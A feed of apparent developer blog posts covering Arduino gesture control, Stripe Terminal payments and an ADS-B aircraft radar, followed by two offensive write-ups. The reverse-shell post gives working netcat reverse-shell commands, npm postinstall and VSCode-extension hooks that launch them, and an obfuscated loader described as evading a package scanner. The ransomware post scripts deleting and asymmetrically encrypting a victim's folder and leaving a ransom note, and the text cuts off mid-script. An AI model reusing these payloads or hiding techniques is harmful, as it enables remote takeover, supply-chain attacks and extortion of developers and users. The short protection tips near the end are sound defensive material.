Once you are done recording samples for your first gesture, click on “Stop recording”, pick a label for your second gesture, for example “Rotate left”, and repeat the same process.

You will see on the right side of the screen that every time a sample is recorded, a data visualization is displayed. What these represent is a visualization of the live data coming from the Arduino – more specifically, the data from the x, y and z coordinates from the gyroscope and accelerometer.

Ideally, these graphs should look quite different between the gestures as it will be more likely that your machine learning model will be able to easily recognize them. If you choose gestures that are quite similar, you might want to record more samples to help the model find how to differentiate between them.

Training and testing the model

When all the samples are recorded, the next step is to train the machine learning model. What this means is that the model is going to look at all the samples and attempt to learn patterns that will help predict accurately between the two gestures. To launch this step, select “Train your model” in the left section, click on the “Start training” button and let it do its thing! You’ll see two graphs on the page updating as the algorithm is being run. The “Accuracy” graph shows the percentage of accurate predictions the model is making while being trained. The higher it is, the better. The “Loss” graph represents the amount of errors on the predictions done in the training step, which will hopefully decrease over time.

The time this process takes depends on the number of gestures and amount of samples previously recorded. If you only create two gestures with 10 samples, it will only take a few seconds.

Once it is done, you can move on to the testing step. This section should show your gestures, and you should be able to test the accuracy of the model created by repeating one of your gestures and verifying that the correct label is highlighted.

Exporting the model

If you’re happy with the accuracy, you can then export your model to use it in your app. You can either export it for Arduino or TensorFlow.js. When exporting for TensorFlow.js, the model is downloaded as a JSON file and I’ve had some issues with it not uploading to the board correctly, so instead, I used the export to Arduino option that downloads a .tflite file that works as expected.

The model size is relatively small (the 3 gestures shown above result in a 8kb file), so it’s perfect for low-memory devices used for IoT projects and overall impressive for a machine learning model!

Once it is exported, it’s time to move on to writing the code that will use the model to add gesture control to a web app.

Adding gesture control to a web app

To make this easier, Google open-sourced a script that handles most of the logic to load and transfer the model to the Arduino so you only need to write about 10 lines of front-end code!

First, add a button and import the script in your HTML file:

<button id=”connectButtonContainer”>Connect</button>
<script src="tf4micro-motion-kit.js"></script>

Then, write the following code:

window.tinyMlExperimentBleInterface.createConnectButton("#connectButtonContainer", {
  model: "model.tflite",
  numClasses: 3,
  threshold: 0.228,
  numSamples: 10,
  captureDelay: 0.2,
  onInference(data) {
    data.index === 0 ? console.log("Rotate left") : console.log("Rotate right")
  },
});

That’s it! The code sample above adds an event listener to a button on the page with the ID “connectButtonContainer”, that can initialize the connection to the board.

Then, the object passed contains the parameters used when creating the model using Tiny Motion Trainer.

If you’re interested, here are some details about what they mean:

model: the path to the machine learning model file in your application folder
numClasses: the number of gestures you trained
threshold: the threshold at which the model will start to classify a gesture based on the live motion data. The lower the threshold, the more sensitive the system will be, meaning the model will try to predict a gesture even when the Arduino is not moving much. The higher the threshold, the more intense the gesture will need to be to start predictions.
numSamples: the number of samples recorded per second.
captureDelay: the delay between the collection of live data used to predict a gesture. The lower the number, the faster it is going to use live data to predict a gesture. For example, if you are building an application where your user might move fast and you need to be able to classify different gestures at a rapid pace, you will want this capture delay to be low.
onInference: this function triggers when the machine learning model on the Arduino has recognised a gesture that matches one of the ones that was trained, and sends a notification to the browser. The data object returned contains the index of the gesture. If your first gesture was “rotate right”, then it will have index 0, if your second gesture was “rotate left”, its index will be 1, and so on.

From there, the rest is up to you! These tools handle the complex machine learning logic so you can focus on experimenting with interactions and building your application! You could use this to build games, experiment with musical interfaces, fitness apps, home automation, and more.

Considering that gesture recognition in this case is done by using data from an accelerometer and gyroscope, the same concept would work on any device that possesses these sensors including phones and smart watches. It wouldn’t be too far-fetched to imagine it working on an Apple or Android watch that would use custom gestures to trigger actions such as locking/unlocking your computer, changing TV channels, controlling the volume of your sound system, making your own fall detection system, or even authorizing payments.

Additional thoughts

While prototyping this, I ran into a few limitations that might be interesting to mention. These will focus specifically on using this technology as a potential payment method.

Limitations

First, the browser compatibility for the Web Bluetooth API. At the moment, it is only supported on Chrome, Edge and Opera. From what I understand, Apple is not interested in implementing it in Safari and on iOS devices so it wasn’t working on my iPad, and I assume wouldn’t work either on an Apple Watch.

Then, the fact that the model is stored in the app. Thinking about what this could be like if it was a real payment method, the model should be stored on the device itself and only send a confirmation token to a merchant’s terminal, instead of the index of the gesture. Additionally, a gesture could be considered Personal Identifiable Information (PII) that should be protected to stay compliant. This is definitely possible on a phone or smart watch, just not with the Arduino.

Additionally, this wouldn’t be practical using Bluetooth. A merchant’s terminal should not have to connect to a customer’s device to be able to receive details; however, an authentication token could be sent via NFC, the same way that details are exchanged currently between terminal devices and cards.

Finally, using gestures solely would only work if a customer is part of a program that already possesses their credit card details. If a gesture is not used as a confirmation input but as the payment method itself, we need some way to match payment details to this gesture and this user. For example, let’s imagine that a customer wants to pay with gestures that they trained on their smartwatch. We could imagine a system in which a merchant is using Stripe Terminal devices and the customer happens to have a Stripe account in which they have registered their watch’s serial number as well as their credit card details. When this customer executes one of their trained gestures, their watch could transfer a token representing the gesture and the watch’s serial number to the Stripe Terminal. This could be used to confirm the identity of the customer and automatically process the payment as Stripe would already have their payment details stored. This is just an idea, but this is how I would picture it working.

Conclusion

At this point, you should now be able to quickly train a machine learning model to recognise custom gestures and build a gesture-controlled web app. Using an Arduino and Tiny Motion Trainer is a great way to get started and prototype a proof of concept.

As this relies on using an accelerometer and gyroscope sensor to record different gestures, a similar system can also be built using the sensors on your phone or smartwatch.

If you’d like to learn more about how a machine learning model is transferred to an Arduino via bluetooth, I will publish a post dedicated to that soon. Stay tuned!

About the author

Providing receipts for in-person transactions with Terminal

Charlie Gerard — Thu, 08 Sep 2022 18:39:04 +0000

Recently, my colleague Charles Watkins wrote a 4-part intro series to Stripe Terminal, our in-person payment solution. Charles' articles will teach you how to set up and register a Terminal device and build an app to accept or cancel payments. Additionally, I’ve been looking into other features including how to collect tips with Terminal. In this post, I’ll explain how to provide digital receipts for in-person purchases.
Digital receipts are very convenient for both customers and merchants. They eliminate the need for paper, help keep track of your spendings and are very helpful if you need to submit expenses.

Triggering an automatic email receipt

If you’ve used Terminal before or if you read the blog series linked above, you’ll know that to process payments, you need to start by creating a PaymentIntent. By default, this does not send receipts once the payment is processed. To use this feature, you only need to add the receipt_email field in the payment intent object, with the email value your customer would enter in your UI.

 const intent = await stripe.paymentIntents.create({
     currency: "usd",
     amount: 1000,
     payment_method_types: ["card_present"],
     capture_method: "manual",
     receipt_email: "edsger@dijkstra.com"
 });

Once the payment intent is created, it needs to be processed using the processPaymentIntent method, passing the Terminal reader ID and the payment intent ID.

await stripe.terminal.readers.processPaymentIntent(
     reader.id, //the reader ID can be found by calling await stripe.terminal.readers.list()
     { payment_intent: intent.id }
);

Finally, capturing the payment using the capture methods will automatically send an email to the address provided.

await stripe.paymentIntents.capture(intent.id);

Creating custom receipts

By default, email receipts look like this:

The design and content can be updated via the Stripe dashboard. You can select which language to use for receipts (English, French, Portuguese, etc.) in your email receipt settings and update the logo and colors in the branding settings.

Additionally, you can add details about your cancellation policy by using the description field when creating your payment intent.
Some things to note: a receipt will only be sent after a successful payment. A canceled or failed transaction will not generate a receipt.
Now you should be able to automatically send receipts to your customers after each successful in-person transaction!

Let us know if you’re implementing this, and stay up to date with Stripe developer updates on the following platforms:

📣 Follow @StripeDev and our team on Twitter
📺 Subscribe to our Youtube channel
💬 Join the official Discord server
📧 Sign up for the Dev Digest

About the author

Create an omnichannel shopping experience with Stripe Terminal in Node.js

Charlie Gerard — Mon, 29 Aug 2022 16:59:35 +0000

Recently, my colleague Charles Watkins wrote a 4-part intro series to Stripe Terminal, our in-person payment solution. Charles' articles will teach you how to set up and register a Terminal device and build an app to accept or cancel payments. Let's take it a step further and look into an additional feature: saving card details via the Terminal device for future online reuse.
This feature can improve your customers’ overall experience by simplifying the checkout process.

For example, when checking into a hotel, you are often asked to pre-authorize your card in case the hotel needs to charge you for any damage done to the room or get any room service directly charged to your account. Your card details are usually saved via a terminal device and re-used later on without needing additional authorization.

Creating or retrieving a customer

With Stripe, in order to charge a payment method more than once, it must be attached to a customer object, so the first step in this process is to create or retrieve your customer.

Creating a new customer

Creating a customer can be done with the following code:

// See your keys here: https://dashboard.stripe.com/apikeys
const stripe = require('stripe')('your-API-key');
const customer = await stripe.customers.create();

This will create a standard customer object; however, if you’d like to assign specific properties, you can do so by passing them to the create method.

// See your keys here: https://dashboard.stripe.com/apikeys
const stripe = require('stripe')('your-API-key');
const customer = await stripe.customers.create({
     name: "Hedy Lamarr",
     email: "hedy@lamarr.com",
     description:
       "Patented radio frequency hopping, the basis for Wi-Fi, GPS and Bluetooth",
});

Retrieving a customer

If your customer already exists, you can retrieve it using the retrieve method and pass it the customer ID starting with cus_:

// See your keys here: https://dashboard.stripe.com/apikeys
const stripe = require('stripe')('your-API-key');
const customer = await stripe.customers.retrieve("cus_xxx");

If you do not know the customer ID, you can search for it by using the search method, for example:

const customers = await stripe.customers.search({
    query: 'name:\'Hedy Lamarr\'', 'email:\'hedy@lamarr.com\''
});

This will return an object containing an array of customers that match the query. From there, you can loop through the array, find your customer and their ID.
Once you have your customer object, you can move on to saving their card details.

Attaching card details to a customer

First, you need to create a SetupIntent that will collect and record the customer’s consent to have their card details saved. This will authorize the payment method with the customer’s bank so future authentication will not be needed.

const intent = await stripe.setupIntents.create({
   payment_method_types: ["card_present"],
   customer: customer.id,
});

Then, you need to call the processSetupIntent method on the reader to collect the payment method and attach it to the customer. You need to pass it the reader ID, as well as an object containing the setup intent ID and the property customer_consent_collected set to a boolean value.
When testing, you can set this value to true, however, when implementing a production-level solution, make sure to adapt your checkout flow so you can obtain consent from your customer. For example, if you have a custom UI, you can update it to collect consent and send the value true or false back to your server before continuing.

const reader = await stripe.terminal.readers.processSetupIntent(
     "tmr_xxx",
     {
       setup_intent: intent.id,
       customer_consent_collected: true,
     }
);

If you do not know your terminal ID, you can find it using the following code:

const readers = await stripe.terminal.readers.list();

This will return an object containing an array of terminals you registered.

{
 object: 'list',
 data: [
   {
     id: 'tmr_xxx',
     object: 'terminal.reader',
     action: null,
     device_sw_version: '2.6.2.0',
     device_type: 'bbpos_wisepos_e',
     ip_address: '192.000.0.00',
     label: 'my-terminal',
     livemode: false,
     location: 'tml_xxx',
     metadata: {},
     serial_number: 'WSCxxx',
     status: 'online'
   }
 ],
 has_more: false,
 url: '/v1/terminal/readers'
}

Each terminal is associated with a location. Via the Stripe dashboard, you can add metadata to the location so it becomes easier to filter through the list of devices. For example, you could add a metadata object with the key-value pair {“reception”: 1} and filter the list of terminal objects to return only the one that contains {“reception”: 1} in its metadata. From there, you can find the device’s ID, starting with “tmr_”.

When the processSetupIntent method is called, the terminal display updates, waiting for the customer to insert, tap or swipe their card.

Finally, if you want to verify that the payment method was successfully attached to the customer, you can call listPaymentMethods.

const paymentMethods = await stripe.customers.listPaymentMethods(
     customer.id,
     { type: "card" }
);

This will return an object containing an array of payment methods attached to that customer.
Voila! Your customer’s card details are now saved for online reuse, without charging them!

Saving a card after payment

When collecting payments with Terminal, you need to create a PaymentIntent, using paymentIntents.create. This does not save the card details by default. You can change the default behavior by passing the additional properties paymentMethod and setup_future_usage.

const paymentIntent = await stripe.paymentIntents.create({
 payment_method_types: ['card'],
 amount: 1099,
 currency: 'usd',
 customer: customer.id,
 payment_method: paymentMethods[0].id,
 setup_future_usage: 'off_session',
});

Now, you should be able to update your checkout flow so you can save card details without charging them, or after payment, so your customers can reuse them online easily.

Let us know if you’re implementing this, and stay up to date with Stripe developer updates on the following platforms:

📣 Follow @StripeDev and our team on Twitter
📺 Subscribe to our Youtube channel
💬 Join the official Discord server
📧 Sign up for the Dev Digest

About the author

Building an aircraft radar system in JavaScript

Charlie Gerard — Mon, 29 Aug 2022 16:00:41 +0000

A few years ago, I came across this awesome talk by Thomas Watson in which he talks about how he built AirplaneJS, a web app that picks up ADS-B radio signals from airplanes and plots them in real time on a map in the browser. I had no idea this was possible in JavaScript so I started looking into it.

I played around with the project and started wondering if there was a way I could push it a little bit further. Considering AirplaneJS uses Node.js on the server, I decided to experiment to see if I could make it work using Web USB to turn it into a front-end only project. I finally got it to work a few weeks ago 🥳 so decided to write about it.

I'm still learning a lot about the USB protocol and how to decode ADS-B signals so this post won't dive too deep into the topic.

Before I start, here's a demo:

Here's the link to the demo site

The RTL-SDR dongle

The main components of this project include the Web USB API, a RTL-SDR dongle + antenna, and some JavaScript code.

Nowadays, most planes broadcast ADS-B data, that stands for Automatic Dependent Surveillance-Broadcast. It is a surveillance technology that allows aircrafts to broadcast their flight state without being interrogated to, meaning it needs no input from pilots.
This data indicates the aircraft's location, latitude, longitude, speed, code, etc.
They transmit this data periodically to air traffic controllers, however, using a Software Defined Radio dongle with an antenna, you can intercept these messages to make your own aircraft radar system 📡.

There are different types of antennas you can buy or build but I personally used a dipole antenna.

As the data is broadcasted at a frequency of 1090 MHz, the size of the dipole needs to be calculated with the following formula:

In feet:

Total length = 468 / Frequency in MHz // Gives the total lengh of the dipole

Length of each branch = Total length / 2

---

In cm:

Total length = 14264 / Frequency in MHz // Gives the total lengh of the dipole

Length of each branch = Total length / 2

There's an online calculator available if it's easier.

For this project, it gives me a total length of roughly 13cm so each part of the dipole should be about 6.5cm.

Connecting to the dongle via Web USB

The Web USB API is a browser API that allows you to connect and communicate with devices plugged into your computer via USB.

To use it, you need to start by checking if your browser supports it. You can do so with the following code:

if(navigator.usb){
    console.log("The Web USB API is supported!")
} else {
    console.log("I'm afraid this won't work")
}

Then, you need to indicate which device you’d like your app to connect to. You can list all currently connected devices, or you can specify a filter in which you pass the device’s vendor ID and product ID.
On a Mac, you can find these IDs by plugging the device into your computer, clicking on the apple icon > About this Mac > System Report, and looking in the list under Hardware > USB.

The image above indicates that the vendor ID is 0x0bda and the product ID is 0x2838 so I could use that in the code.

For security reasons, the Web USB API needs to be triggered by a user interaction, so I have a button on the screen to start the connection process.

The first method to call on navigator.usb is requestDevice:

button.onclick = () => {
  navigator.usb
    .requestDevice({
      filters: [
        {
          vendorId: 0x0bda,
          productId: 0x2838,
        }
      ],
    })
};

It returns a promise with the device selected in the list. The next steps are to open a session with this device, select a configuration and claiming an interface:

.then((device) => device.open());
.then(() => device.selectConfiguration(1))
.then(() => device.claimInterface(0))

The configuration and interface are device specific. I couldn't find information online about the particular device I'm using so I tried different values until it worked...

Once these steps execute successfully, the device should be connected. Now, the frequency and sample rate need to be set.
For this, I relied on the awesome rtlsdrjs library by Sandeep Mistry. If you decide to use it to create a similar project, I used 1090000000 as the frequency (for 1090MHz) and 2000000 as the sample rate.

Finally, the transferIn method executes when data is received from the device.

.transferIn(1, 256000)
.then((result) => {
    const data = new Uint8Array(result.data.buffer);
    console.log(data);
})

This code returns raw data that looks like this:

Once processed and formatted, it looks like this:

Processing raw ADS-B data

This part of the project relies a lot on existing work. I need to dive deeper into how the Mode S communication protocol works to decode the data but this guide to decoding Mode-S and ADS-B signals seems to be a very good start.

So far, from what I understand, ADS-B messages have 2 main parts, a preamble and a data block. The data block consists of 112 bits organized in 5 sections:

+----------+----------+-------------+------------------------+-----------+
|  DF (5)  |  CA (3)  |  ICAO (24)  |         ME (56)        |  PI (24)  |
+----------+----------+-------------+------------------------+-----------+

DF: Downlink Format
CA: Transponder Capability
ICAO Aircraft address
ME: Message
PI: Parity ID

Bits 33-88 are dedicated to the message. Without going into too much detail, the first 5 bits of this section indicate the type code. If this type code is between 1 and 4, the ADS-B message is an Aircraft identification message, if the type code is between 5-8, the message is a surface position message, etc.
This type code matters because it indicates what the rest of the message relates to.

An example of raw ADS-B message in hexadecimal format looks like this:

8D4840D6202CC371C32CE0576098

In binary, it translates to:

1000110101001000010000001101011000100000001011001100001101110001110000110010110011100000010101110110000010011000

If you're following, you can maybe guess how many bits this is...

...

112!

If we use the table shown previously, we can split this binary into the respective sections:

+--------+--------+--------------+-------------------------+-------------------+
| DF (5) | CA (3) |   ICAO (24)  |         ME (56)         |      PI (24)      |
+--------+--------+--------------+-------------------------+-------------------+
| 10001  | 101    | 010010000100 | 00100000001011001100001 | 01010111011000001 |
|        |        | 000011010110 | 10111000111000011001011 | 0011000           |
|        |        | 000011010110 | 0011100000              |                   |
|        |        |              |                         |                   |
+--------+--------+--------------+-------------------------+-------------------+

It makes it a little easier to read, but now we can also convert each of these into decimal:

+--------+--------+--------------+-------------------------+-------------------+
| DF (5) | CA (3) |   ICAO (24)  |         ME (56)         |      PI (24)      |
+--------+--------+--------------+-------------------------+-------------------+
| 17     | 5      | 4735190      | [4]...                  | ...               |
+--------+--------+--------------+-------------------------+-------------------+

The first 5 bits of the message give the decimal value 4, which means this is an aircraft identification message. From there, if I understand well, the rest of the message should contain data about the aircraft category and its callsign, according to this table I found.

Using this data, you can use online tools like planespotters.net and search for the ICAO code to get more info about the airplanes you're tracking.

After processing all this data, the result is a JSON object containing information such as altitude, latitude, longitude, etc.

Check out the repo if you want.

Final setup

In the end, this is what my setup looks like:

—-

This post wasn't a deep dive but hopefully it made sense!

I’m really super happy I was able to get this project to work using Web USB, it's something I've wanted to do for years!

I still gotta learn more about it but I have a few other ideas of projects I want to build around the same technology, I’m pretty excited! It just takes a lot of time to dive into something I know nothing about 😅...

Additional resources

The 1090 Megahertz Riddle (2nd edition) - Amazing online resource to learn how to decode Mode S data.
RTL-SDR v3 datasheet
Learn more about RTL-SDR
AirplaneJS
Interesting paper about ADS-B spoofing attacks
The story of Mode S
Mode S decoder
dump1090
ADS-B decoding guide
Radio receiver

Gaining remote access to a computer with a reverse shell attack in Node.js

Charlie Gerard — Tue, 28 Jun 2022 15:06:44 +0000

Originally posted on my blog

I recently learnt what a reverse shell is and got excited to experiment running this kind of attack via a Node.js module. This post will go through my thought process and the different options I tried.

⚠️ Important notes ⚠️

I am writing this blog post for educational purposes only. Running a reverse shell attack on someone without their approval is illegal; my only motivation is to share knowledge and raise awareness so people can protect themselves.
I am not taking any responsibility for how you decide to use the information shared in this post.

What is a reverse shell?

A reverse shell is a tool that allows a computer to have remote access to another one. It can be very useful if you want to transfer files between multiple computers, or if you want to access information you need that is stored on another computer and network. However, it can also be used to run attacks in which a victim unknowingly initiates a remote shell connection to an attacker's system, allowing the attacker to have nearly complete access to their system.

If you think about shell commands you might be familiar with such as ls to list a directory's files, pwd to show the path to the current directory or nano to edit the content of files; a reverse shell allows an attacker to run these commands on a target's system without them knowing.

How to create a reverse shell

A common tool to execute a reverse shell is called netcat. If you're using macOS, it should be installed by default. You can check by running nc -help in a terminal window.

Using a private IP address on a local network

You can run a simple example of reverse shell between two computers on the same network.

On the first computer, start two listeners on different ports, for example, one on port 80 and the other on port 53.



# Command tested on macOS, the path to netcat is different on other OS
/usr/bin/nc -l 80



/usr/bin/nc -l 53

The flag -l starts netcat on listening mode, so it will listen to traffic happening on these two ports.

On the second computer, run the following command:



nc <first-computer-IP-address> 80 | /bin/sh | nc <first-computer-IP-address> 53

This command initiates a connection to the first computer on the two ports specified above, and indicates that any command received on port 80 should be executed as a bash command and send the result to port 53.

Below is an example of this code working. As a second computer, I have a Raspberry Pi set up in my apartment, connected to the same network as my laptop. In the terminal, I ssh into the Pi in the first pane. The second and third pane start the listeners on port 80 and 53.
When the listeners are ready, I run the netcat command in the Pi. From there, I'm able to access its file system from my laptop. I run commands such as ls, whoami and pwd in the terminal window listening on port 80 and the result shows in the third pane on the far right. I'm also able to change the name of a file from test.js to index.js.

You can imagine how useful this tool is, for example, if you want to transfer files easily between two computers on the same network.

Using a public IP address

In the example above, I showed how to create a reverse shell between computers on the same network, however, when running this as an attack to gain access to a victim's computer, both devices will probably be connected to different networks so the code above won't work.

Indeed, the code sample shown in the previous section uses the device's private IP address on my local network. This private IP address cannot be accessed from outside my home network.

To be able to use a public IP address, I've decided to use Linode to create a virtual machine (VM), that both the target and attacker will connect to.

Once the VM finished spinning up, I replaced the private IP address from the code above, with the public IP address of the VM.
For the purpose of this post, let's imagine this IP address is 10.10.10.10.

From my laptop, I connect to my VM using the following command:



ssh root@10.10.10.10

From there, similar commands from the ones shown in the previous section can be run.



nc -l 80 -s 10.10.10.10



nc -l 53 -s 10.10.10.10

The additional -s is used to indicate the source IP address, so the VM's public IP address.

Then, on the target's computer, the following command needs to be run:



nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;

The additional disown is used to run the program continuously in the background and exit 0 is used to terminate it so the terminal does not look like the program is still executing (even though it is).

Once these commands are run, I have access to the second computer's system no matter if it is inside or outside of my home network.

So now, how can we get a target to run this?

Running a reverse shell in a Node.js module

A few weeks ago I wrote a post about how to run a ransomware attack in a Node.js module, and in the same spirit, I explored a few different ways to run a reverse shell attack using the same medium.

postinstall

One way to run this would be to take advantage of the postinstall attribute of a module's package.json file. This command runs right after a package has finished installing so it wouldn't even require the target to import and use it.

This could be done in two ways, first, by running the command directly:



"scripts": {
    "postinstall": "nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | exit 0;"
},

Or running the command in a separate JavaScript file:



"scripts": {
    "postinstall": "node index.js"
},

Even though using postinstall would work, it may look quite obvious if a user decided to look at the source code before installing the package, especially if the command is run directly, so the package could get flagged quickly.

If postinstall is running a JS file, it might look less obvious, but how would it start the reverse shell?

Using exec or execFile

To run this command in a JS file, you can use exec and execFile.

exec executes the command passed to the function:



const { exec } = require("child_process");

exec("nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;")

process.exit(0);

execFile executes a file, for example script.sh:



const { execFile } = require("child_process");

execFile("bash", ["script.sh"], () => {})

process.exit(0);

This shell script would contain the netcat command:



#!/bin/bash
nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;

It can either be added as a file in the repository or fetched from another source, to avoid attracting attention.

As soon as the reverse shell is set up, an attacker can steal, delete or encrypt files, install tools, and much more.

The solutions shown above are picked up by security tools such as Socket, that flags the use of potentially insecure code such as exec and execFile.

So, what are ways to hide more efficiently this kind of attack?

Ways to hide a reverse shell

There's a few ways I could think about doing this, some of them involve technical solutions, and others involve thinking more about the context in which people use Node.js modules.

File obfuscation (and minification?)

Security tools are getting better at flagging potential insecure code in Node.js modules, however, once obfuscated, it becomes a lot harder to know if a piece of code contains vulnerabilities.

As an example. here's what the obfuscated JavaScript of the exec implementation looks like:



function _0x3994(_0x565d93, _0x46b188) { const _0x1edb91 = _0x1edb(); return _0x3994 = function (_0x39942b, _0x46c9b8) { _0x39942b = _0x39942b - 0x7f; let _0x45df05 = _0x1edb91[_0x39942b]; return _0x45df05; }, _0x3994(_0x565d93, _0x46b188); } const _0x14c021 = _0x3994; function _0x1edb() { const _0x315a4c = ['3456290MInyns', '144422gpQMch', '582536EjKPYz', 'nc\x20192.168.4.32\x2080\x20|\x20/bin/sh\x20|\x20nc\x20192.168.4.32\x2053\x20|\x20disown\x20|\x20exit\x200;', 'child_process', '4931696ptslNj', '892792JPSbno', '1315ymqHPE', 'exit', '18xLEENc', '847KPUPMs', '6036cCpfRb', '17700Neccgv', '3QTYiZY']; _0x1edb = function () { return _0x315a4c; }; return _0x1edb(); } (function (_0x9e95f2, _0x2951fb) { const _0x37d8ea = _0x3994, _0x2bcaca = _0x9e95f2(); while (!![]) { try { const _0x55a257 = parseInt(_0x37d8ea(0x86)) / 0x1 + parseInt(_0x37d8ea(0x8b)) / 0x2 * (-parseInt(_0x37d8ea(0x84)) / 0x3) + -parseInt(_0x37d8ea(0x82)) / 0x4 * (-parseInt(_0x37d8ea(0x8c)) / 0x5) + -parseInt(_0x37d8ea(0x83)) / 0x6 * (-parseInt(_0x37d8ea(0x81)) / 0x7) + parseInt(_0x37d8ea(0x87)) / 0x8 * (-parseInt(_0x37d8ea(0x80)) / 0x9) + -parseInt(_0x37d8ea(0x85)) / 0xa + parseInt(_0x37d8ea(0x8a)) / 0xb; if (_0x55a257 === _0x2951fb) break; else _0x2bcaca['push'](_0x2bcaca['shift']()); } catch (_0x151b06) { _0x2bcaca['push'](_0x2bcaca['shift']()); } } }(_0x1edb, 0x63d54)); const { exec } = require(_0x14c021(0x89)); exec(_0x14c021(0x88)), process[_0x14c021(0x7f)](0x0);

This code still works but isn't flagged anymore. You could imagine that a package author could hide this code in a minified version of their package and advise people to use that one for improved performance.

I also tested this by minifying the original code, which is still humanly-readable. Here's the result:



const{exec:exec}=require("child_process");exec("nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;"),process.exit(0);

By default, if the file "index.min.js" is not specified as the exported file in the "main" field of the package.json, Socket does not flag any issue. However, once changed to "index.min.js", the security issues are shown in the UI.

VSCode extension

Even though VSCode extensions are NPM packages, the way users install them is via the VSCode editor, so it is likely that people use the ease of a one-click install without checking the extension's code first. Extensions may go through a security check before being publicly available, however some attacks have been run via extensions.

When creating an extension, you can specify when you'd like the code to run, including anytime the editor is launched. To do so, you can specify the value * or onStartupFinished as activationEvents. This would call the activate function that can be modified to run the reverse shell by adding a single line of code:



exec("nc 192.168.4.29 81 | /bin/sh | nc 192.168.4.29 53 | disown | exit 0;")

To try this out, I created a small "Hello World" extension following the official documentation. I added the line shown above in the activate function, ran the extension in the Extension Development Host window and activated it. Below is the result showing how I gained access to my personal laptop from my RaspberryPi.

I am not sure what kind of security process extensions go through before being publicly available but it is also possible for developers to make their extensions available via GitHub instead of the VSCode Marketplace. This way, even if this extension was rejected for security reasons, an attacker might still try to make it available by instructing users to install it manually.

Electron app

Electron applications are also written in Node.js and can be installed without checking the source code first.
Looking at this list of Electron apps, it is easy to imagine how one could create a small productivity app with a hidden reverse shell.

How can people protect themselves?

One of the interesting aspects of experimenting with this, is to think about ways people can protect themselves from these types of attacks.

So far, here are a few options I can think of:

Use one of the many security tools available and pay attention to their warnings.
Check the source code of open-source tools before installing and using them.
Run your projects in a virtual machine or online sandbox such as CodeSandbox, StackBlitz, Github CodeSpaces
To check for reverse shell attacks specifically, you can run the ps command in your terminal to check the current processes running, and terminate any that looks suspicious.
When using a minified version of a NPM package, make sure it does not include some unexpected code by copying the non-minifed version of the tool, minifying it yourself and comparing the results.
A way to stop the connection established by a reverse shell could be to turn your computer off/on, however, if hidden in a package you use often, the connection would restart anytime you use that package.

Some of these solutions may sound a bit impractical but depending on the risk you're willing to take, it is definitely something worth thinking about.

Conclusion

There are probably more ways to run a reverse shell than the ones I explored here but I hope this post gave you a better understanding of what a reverse shell is, how to create one and raised some awareness of the risks associated with using open-source packages.

up

Charlie Gerard — Mon, 06 Jun 2022 23:35:41 +0000

Running a ransomware attack in a Node.js module

Charlie Gerard — Fri, 06 May 2022 15:47:15 +0000

Post originally posted on my blog

A couple of weeks ago, I experimented with creating a small ransomware script, and looked into how to run it in a Node.js module. This post is a write-up explaining how I went about it.

⚠️ Important notes ⚠️

I am writing this blog post for educational purposes only. Running ransomware attacks is illegal; my only motivation is to share knowledge and raise awareness so people can protect themselves.
I am not taking any responsibility for how you decide to use the information shared in this post.

The code samples that follow were tested on macOS. I assume the concept would be the same for other operating systems but the commands might differ a little.

What does it do?

Before diving into the code, I want to explain shortly what this attack does.

A custom Node.js module fetches a shell script hosted on a cloud platform, creates a new file on the target's computer and executes it.
The script navigates to a specific folder on the target's computer, compresses and encrypts that folder using asymmetric encryption.

What this means is that the target's files are encrypted using the attacker's public key and cannot be decrypted without this same person's private key. As a result, the only way for the target to get their files back is to pay the ransom to the attacker to get the private key.

If this sounds interesting to you, the rest of this post covers how it works.

Creating the script

First things first, there's a script file called script.sh.

It starts by navigating to a folder on the target's computer. For testing purposes, I created a test folder on my Desktop called folder-to-encrypt so my shell script navigates to the Desktop. In a real attack, it would be more efficient to target another folder, for example /Users.

cd /Users/<your-username>/Desktop

The next step is to compress the folder folder-to-encrypt using tar.

tar -czf folder-to-encrypt.tar.gz folder-to-encrypt

The -czf flag stands for:

c: compress
z: gzip compression
f: determine the archive file’s file name type

At this point, running bash script.sh will result in seeing both folder-to-encrypt and folder-to-encrypt.tar.gz on the Desktop.

In the context of ransomware, people should not have access to their original file or folder, so it also needs to be deleted.

rm -rf folder-to-encrypt

At this point, the original folder is deleted but the file that's left is only in compressed format so it can be decompressed and restored by double-clicking it. This would defeat the purpose for people to be able to restore their files so, the next step is asymmetric encryption with openssl.

Encryption

Without going into too much details, asymmetric encryption works with two keys, a public one and a private one. The public key is the one used to encrypt the data. It can be shared with people so they can encrypt data they would want the keys' owner to be able to decrypt. The private key, on the other hand, needs to stay private, as it is the decryption key.

Once data is encrypted with the public key, it can only be decrypted with the associated private key.

The next step is then to generate the private key with the following command:

openssl genrsa -aes256 -out private.pem

This command uses AES (Advanced Encryption Standard) and more specifically the 256-bit encryption.

When the above command is run, the key is saved in a file called private.pem.

The public key is then generated with the command below:

openssl rsa -in private.pem -pubout > public.pem

After the keys are generated, I save the public key in a new file on the target's computer.
One way to do this is with the following lines:

echo "-----BEGIN PUBLIC KEY-----
<your key here>
-----END PUBLIC KEY-----" > key.pem

Getting the info needed from the public key can be done with the command:

head public.pem

Now, the compressed file can be encrypted.

openssl rsautl -encrypt -inkey key.pem -pubin -in folder-to-encrypt.tar.gz -out folder-to-encrypt.enc

The command above uses the new file key.pem created on the target's computer that contains the public key, and uses it to encrypt the compressed file into a file called folder-to-encrypt.enc. At this point,
the orignal compressed file is still present so it also needs to be deleted.

rm -rf folder-to-encrypt.tar.gz

After this, the only way to retrieve the content of the original folder is to get access to the private key to decrypt the encrypted file.

As a last step, a note can be left to let the target know they've just been hacked and how they should go about paying the ransom. This part is not the focus of this post.

echo "You've been hacked! Gimme all the moneyz" > note.txt

Before moving on to running this into a Node.js module, I want to talk briefly about how to decrypt this file.

Decryption

At this point, running the following command in the terminal will decrypt the file and restore the original compressed version:

openssl rsautl -decrypt -inkey private.pem -in /Users/<your-username>/Desktop/folder-to-encrypt.enc > /Users/<your-username>/Desktop/folder-to-encrypt.tar.gz

Complete code sample

The complete script looks like this:

cd /Users/<your-username>/Desktop

echo "-----BEGIN PUBLIC KEY-----
<your-public-key>
-----END PUBLIC KEY-----" > key.pem

tar -czf folder-to-encrypt.tar.gz folder-to-encrypt

